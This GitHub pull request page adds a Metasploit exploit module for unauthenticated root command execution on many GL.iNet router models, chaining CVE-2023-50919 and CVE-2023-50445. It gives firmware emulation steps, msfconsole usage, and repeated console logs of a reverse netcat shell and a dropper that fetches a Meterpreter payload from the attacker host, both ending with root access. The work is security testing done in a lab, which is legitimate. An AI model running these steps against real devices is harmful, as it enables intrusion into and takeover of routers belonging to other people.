Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

GL.iNet unauthenticated RCE [CVE-2023-50445] #18648

Merged
merged 12 commits into from Jan 23, 2024

Conversation

h00die-gr3y
Copy link
Contributor

@h00die-gr3y h00die-gr3y commented Dec 31, 2023

A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute arbitrary shell commands via JSON parameters at the gl_system_log and gl_crash_log interface in the logread module.

This exploit requires post-authentication using the Admin-Token cookie / session ID (SID), typically stolen by the attacker.
However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a Lua string pattern matching and SQL injection vulnerability. The Admin-Token cookie / SID can be retrieved without knowing a valid username and password.

The following GL.iNet network products are vulnerable:

  • A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
  • MT6000: v4.5.0 - v4.5.3;
  • MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
  • E750/E750V2, MV1000: v4.3.8;
  • X3000: v4.0.0 - v4.4.2;
  • XE3000: v4.0.0 - v4.4.3;
  • SFT1200: v4.3.6;
  • and potentially others (just try ;-)

This module has been tested via FirmAE running on Kali Linux 2023.11 at the following emulated targets:

  • GL.iNet Router model AR300M with firmware v4.3.7
  • GL.iNet Router model AR300M16 with firmware v4.3.7
  • GL.iNet Router model MT300N-V2 with firmware v4.3.7
  • GL.iNet Router model MT1300 with firmware v4.3.7

Installation steps to emulate the router firmware with FirmAE

  • Install FirmAE on your Linux distribution using the installation instructions provided here.
  • To emulate the specific firmware that comes with the GL.iNet devices, binwalk might need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after your FirmAE installation otherwise you will not be able to extract the firmware.
  • Download the vulnerable firmware from GL.iNet here. We will pick openwrt-ar300m16-4.3.7-0913-1694589994.bin for the demonstration.
  • Start emulation.
  • First run ./init.sh to initialize and start the Postgress database.
  • Start a debug session ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
  • This will take a while, but in the end you should see the following...
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
[*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/console: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!

[IID] 91
[MODE] debug
[+] Network reachable on 192.168.1.1!
[+] Run debug!
Creating TAP device tap91_0...
Set 'tap91_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994
[*] IP - 192.168.1.1
[*] connecting to netcat (192.168.1.1:31337)
[-] failed to connect netcat
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 1
/ #
/ # ifconfig
ifconfig
br-lan    Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          inet addr:192.168.8.1  Bcast:192.168.8.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:392 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:33970 (33.1 KiB)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:427 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:42072 (41.0 KiB)  TX bytes:5068 (4.9 KiB)

eth1      Link encap:Ethernet  HWaddr 52:54:00:12:34:57
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:940 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:321480 (313.9 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ # netstat -rn
netstat -rn
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
192.168.8.0     0.0.0.0         255.255.255.0   U         0 0          0 br-lan
  • You should now be able to ping the network address 192.168.8.1 from your host and run a nmap command to check the services (HTTP TCP port 80).
  • NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
  • You can change this with: ip a del 192.168.1.2/24 dev tap91_0 and ip a add 192.168.8.2/24 dev tap91_0.
 # ifconfig tap91_0
tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.2  netmask 255.255.255.0  broadcast 0.0.0.0
        inet6 fe80::6c06:aff:fefb:ab29  prefixlen 64  scopeid 0x20<link>
        ether 6e:06:0a:fb:ab:29  txqueuelen 1000  (Ethernet)
        RX packets 39  bytes 4692 (4.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 50  bytes 4044 (3.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
# ping 192.168.8.1
PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data.
64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms
64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms
^C
--- 192.168.8.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.8.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC
Nmap scan report for 192.168.8.1
Host is up (0.020s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
53/tcp  open  domain
80/tcp  open  http
443/tcp open  https
MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)

You are now ready to test the module using the emulated router hardware on IP address 192.168.8.1.

Verification

  • Start msfconsole
  • use exploit/linux/http/glinet_unauth_rce_cve_2023_50445
  • set rhosts <ip-target>
  • set lhost <ip-attacker>
  • set target <0=Unix Command, 1=Linux Dropper>
  • exploit

you should get a shell or Meterpreter.

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info

       Name: GL.iNet Unauthenticated Remote Command Execution via the logread module.
     Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445
   Platform: Unix, Linux
       Arch: cmd, mipsle, mipsbe, armle
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-12-10

Provided by:
  h00die-gr3y <h00die.gr3y@gmail.com>
  Unknown
  DZONERZY

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
      Id  Name
      --  ----
  =>  0   Unix Command
      1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT    80               yes       The target port (UDP)
  SID                       no        Session ID
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host


  When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen o
                                      n all addresses.
  SRVPORT  8080             yes       The local port to listen on.

Payload information:

Description:
  A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
  to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
  interface in the `logread` module.
  This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
  by the attacker.
  However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
  through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
  retrieved without knowing a valid username and password.

  The following GL.iNet network products are vulnerable:
  - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A => v4.0.0 < v4.5.0;
  - MT6000 => v4.5.0 - v4.5.3;
  - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300 => v4.3.7;
  - E750/E750V2, MV1000 => v4.3.8;
  - and potentially others (just try ;-)

  NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads
  when using the Linux Dropper target.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2023-50445
  https://nvd.nist.gov/vuln/detail/CVE-2023-50919
  https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445
  https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919
  https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html
  https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md


View the full module info with the info -d command.

Scenarios

FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: NsPHdkXtENoaotxVZWLqJorU52O7J0OI
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 8 opened (192.168.8.2:4444 -> 192.168.8.1:53167) at 2024-01-03 11:12:18 +0000

pwd
/
id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #28 Sat Oct 31 17:56:39 KST 2020 mips GNU/Linux
exit

FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > exploit

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:80 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: Gs2KPnIsIQQUzHQkEBVN8JOcq5nV008e
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:1981/OrfVHM15cua0w
[*] Client 192.168.8.1 (curl/7.88.1) requested /OrfVHM15cua0w
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 9 opened (192.168.8.2:4444 -> 192.168.8.1:48511) at 2024-01-03 08:30:52 +0000
[*] Command Stager progress - 100.00% done (117/117 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.8.1
OS           :  (Linux 4.1.17+)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter > 

Limitations

Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target.

@h00die-gr3y h00die-gr3y changed the title GL.Inet unauthenticed RCE [CVE-2023-50445] GL.Inet unauthenticated RCE [CVE-2023-50445] Dec 31, 2023
@h00die-gr3y h00die-gr3y marked this pull request as draft December 31, 2023 10:37
@h00die-gr3y h00die-gr3y changed the title GL.Inet unauthenticated RCE [CVE-2023-50445] GL.iNet unauthenticated RCE [CVE-2023-50445] Jan 3, 2024
@h00die-gr3y h00die-gr3y marked this pull request as ready for review January 3, 2024 19:45
@h00die-gr3y
Copy link
Contributor Author

Gents,
Any progress on this one? This is quite ready to be landed.

@jheysel-r7 jheysel-r7 self-assigned this Jan 22, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great module @h00die-gr3y, thanks for the submission. I really appreciated the detailed installation steps, they made the firmware emulation a breeze.

Just one minor question but other than that it looks good to me and testing was as expected.

Target Unix Command

msf6 > use exploit/linux/http/glinet_unauth_rce_cve_2023_50445
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set rhosts 192.168.8.1
rhosts => 192.168.8.1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set lhost 192.168.8.2
lhost => 192.168.8.2
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > run

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:443 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: kOwMhgyNDFmY9bhJuOabavmiiWEvugps
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 1 opened (192.168.8.2:4444 -> 192.168.8.1:35576) at 2024-01-22 13:52:24 -0500

id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #17 Sat Oct 31 17:56:16 KST 2020 mips GNU/Linux

Target Linux Dropper

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > run

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:443 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: T2FvXOB3DzLi6OugzpU9gvGE0RXXCe3D
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:8080/J08U46xjOUI
[*] Client 192.168.8.1 (curl/7.88.1) requested /J08U46xjOUI
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 2 opened (192.168.8.2:4444 -> 192.168.8.1:35578) at 2024-01-22 14:12:03 -0500
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.8.1
OS           :  (Linux 4.1.17+)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter >

'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')
})
if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I haven't tested the version 3.x API though I'm wondering if this change might make sense.

Suggested change
if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')
if res && res.code == 200 && res.body.include?('version')

If the target responds to the version 4.x API call, the @glinet['firmware'] gets set even if res_json['result']['model'] is not present in the response, which was the case in my testing.

If the target responds to the version 3.x API call @glinet['firmware'] will not get set if res.body.include?('model') is false in which case CheckCode::Unknown will always be returned by the check method. Though if @glinet['firmware'] gets set there is a possibility of returning CheckCode::Detected if the version is greater or equal than 4.0.0.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@jheysel-r7 on your first point. Indeed res_json['result']['model'] is not present in the response, but this is truly an exception and somehow caused by the emulation which is not perfect. This will not happen with the real hardware.
Second point on 3.x API call. There will be never a situation that a firmware version of 4.0.0 or higher will be returned using the 3.x API call. It will only return 3.x firmware versions and both firmware and model information will be in the response (see https://dev.gl-inet.com/router-3.x-api/#api-Router-GetRouterHello).

Your use case where firmware is set and model attribute is missing is to me quite hypothetical.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@h00die-gr3y, sounds good to me, thank you for taking the time to explain!

@jheysel-r7
Copy link
Contributor

Final testing 👍 (to ensure capitalizing references to Meterpreter didn't break anything/ demo recording):

msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set rhost 192.168.8.1
rhost => 192.168.8.1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set lhost 192.168.8.2
lhost => 192.168.8.2
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   Unix Command
    1   Linux Dropper


msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > run

[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:443 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: T2FvXOB3DzLi6OugzpU9gvGE0RXXCe3D
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:8080/C3hYsgP
[*] Client 192.168.8.1 (curl/7.88.1) requested /C3hYsgP
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 1 opened (192.168.8.2:4444 -> 192.168.8.1:48165) at 2024-01-23 14:46:49 -0500
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.8.1
OS           :  (Linux 4.1.17+)
Architecture : mips
BuildTuple   : mips-linux-muslsf
Meterpreter  : mipsbe/linux
meterpreter >

@jheysel-r7 jheysel-r7 merged commit c278ef9 into rapid7:master Jan 23, 2024
34 checks passed
@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 23, 2024
@jheysel-r7
Copy link
Contributor

Release Notes

This PR adds an exploit module for a number of different GL.iNet network products. The module combines an authentication by-pass vulnerability (CVE-2023-50919) with an RCE (CVE-2023-50445) allowing the user to remotely obtain, without authentication, a Meterpreter session running in the context of the root user.

jheysel-r7 added a commit that referenced this pull request Jan 23, 2024
Before this PR when running asan_suid_executable_priv_esc
if the user did not set the SUID_EXECUTABLE option the
module would fail with an undescriptive error message.
This PR removes the default value of an empty string from
SUID_EXECUTABLE so now if it's not set the user is informed.
@h00die-gr3y h00die-gr3y deleted the glinet-unauth-rce branch January 24, 2024 15:40
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

None yet

3 participants